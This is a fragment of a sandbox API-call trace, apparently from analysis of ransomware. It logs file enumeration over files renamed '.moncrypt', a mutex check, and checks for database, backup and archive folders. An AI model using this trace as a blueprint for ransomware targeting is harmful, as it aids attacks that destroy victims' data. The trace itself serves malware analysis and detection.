dwReserved1=0x0, cFileName="PrjProrWW.XML.moncrypt", cAlternateFileName="PRJPRO~1.MON")) returned 1 [0048.478] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.478] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.478] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.478] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.478] GlobalUnlock (hMem=0x44000c) returned 0 [0048.478] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.478] GlobalLock (hMem=0x440004) returned 0x557870 [0048.478] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.478] GlobalUnlock (hMem=0x44000c) returned 0 [0048.478] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.478] GlobalUnlock (hMem=0x440004) returned 0 [0048.478] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.478] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x41f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.478] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.478] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.478] GlobalLock (hMem=0x440004) returned 0x555860 [0048.478] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.478] GlobalUnlock (hMem=0x440004) returned 0 [0048.478] GlobalLock (hMem=0x440004) returned 0x555860 [0048.478] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.478] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.478] GlobalUnlock (hMem=0x440004) returned 0 [0048.479] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.479] GlobalUnlock (hMem=0x44000c) returned 0 [0048.479] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.479] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x41f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.479] GetLastError () returned 0x12 [0048.479] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.479] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0048.479] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.479] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.479] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.479] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.479] GlobalUnlock (hMem=0x44000c) returned 0 [0048.479] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.479] GlobalLock (hMem=0x440004) returned 0x557870 [0048.479] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.479] GlobalUnlock (hMem=0x44000c) returned 0 [0048.479] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.479] GlobalUnlock (hMem=0x440004) returned 0 [0048.479] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.480] GlobalLock (hMem=0x440004) returned 0x555860 [0048.480] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.480] GlobalUnlock (hMem=0x440004) returned 0 [0048.480] GlobalLock (hMem=0x440004) returned 0x555860 [0048.480] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.480] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.480] GlobalUnlock (hMem=0x440004) returned 0 [0048.480] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.480] GlobalUnlock (hMem=0x44000c) returned 0 [0048.480] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.480] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us", len=0x5d | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us") returned 1 [0048.480] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.480] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.480] GlobalUnlock (hMem=0x44000c) returned 0 [0048.480] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.480] GlobalLock (hMem=0x440004) returned 0x557870 [0048.480] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.480] GlobalUnlock (hMem=0x44000c) returned 0 [0048.480] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.480] GlobalUnlock (hMem=0x440004) returned 0 [0048.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@蟬T蟀T企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0048.481] GetLastError () returned 0x3 [0048.482] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@蜄T企@\x18䀴Q\x181")) returned 0xffffffff [0048.482] GetLastError () returned 0x2 [0048.482] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0048.483] GetLastError () returned 0x2 [0048.483] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@卜U企@\x18?T\x18D")) returned 0xffffffff [0048.483] GetLastError () returned 0x2 [0048.483] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@蜄T企@\x18翌R\x18j")) returned 0xffffffff [0048.484] GetLastError () returned 0x2 [0048.484] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@啬U企@\x18?T\x18q")) returned 0xffffffff [0048.485] GetLastError () returned 0x2 [0048.485] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈RĀ") returned 6 [0048.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@呤U企@\x18?T\x18y")) returned 0xffffffff [0048.485] GetLastError () returned 0x2 [0048.485] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@蜄T企@\x18?T\x18\x81")) returned 0xffffffff [0048.486] GetLastError () returned 0x2 [0048.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.486] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@卜U企@\x18?T\x18\x88")) returned 0xffffffff [0048.486] GetLastError () returned 0x2 [0048.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.486] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@呤U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.487] GetLastError () returned 0x2 [0048.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@蜄T企@\x18?T\x18\x97")) returned 0xffffffff [0048.487] GetLastError () returned 0x2 [0048.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.487] GlobalLock (hMem=0x440004) returned 0x555860 [0048.487] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.487] GlobalUnlock (hMem=0x440004) returned 0 [0048.487] GlobalLock (hMem=0x440004) returned 0x555860 [0048.488] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.488] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.488] GlobalUnlock (hMem=0x440004) returned 0 [0048.488] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.488] GlobalUnlock (hMem=0x44000c) returned 0 [0048.488] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.488] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.488] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.488] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.488] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.488] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.488] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.488] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.488] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.488] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.488] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.488] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b58, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.489] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.489] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.489] GlobalUnlock (hMem=0x44000c) returned 0 [0048.489] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.489] GlobalLock (hMem=0x440004) returned 0x557870 [0048.489] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.489] GlobalUnlock (hMem=0x44000c) returned 0 [0048.489] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.489] GlobalUnlock (hMem=0x440004) returned 0 [0048.489] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.489] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.489] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.489] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.489] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common 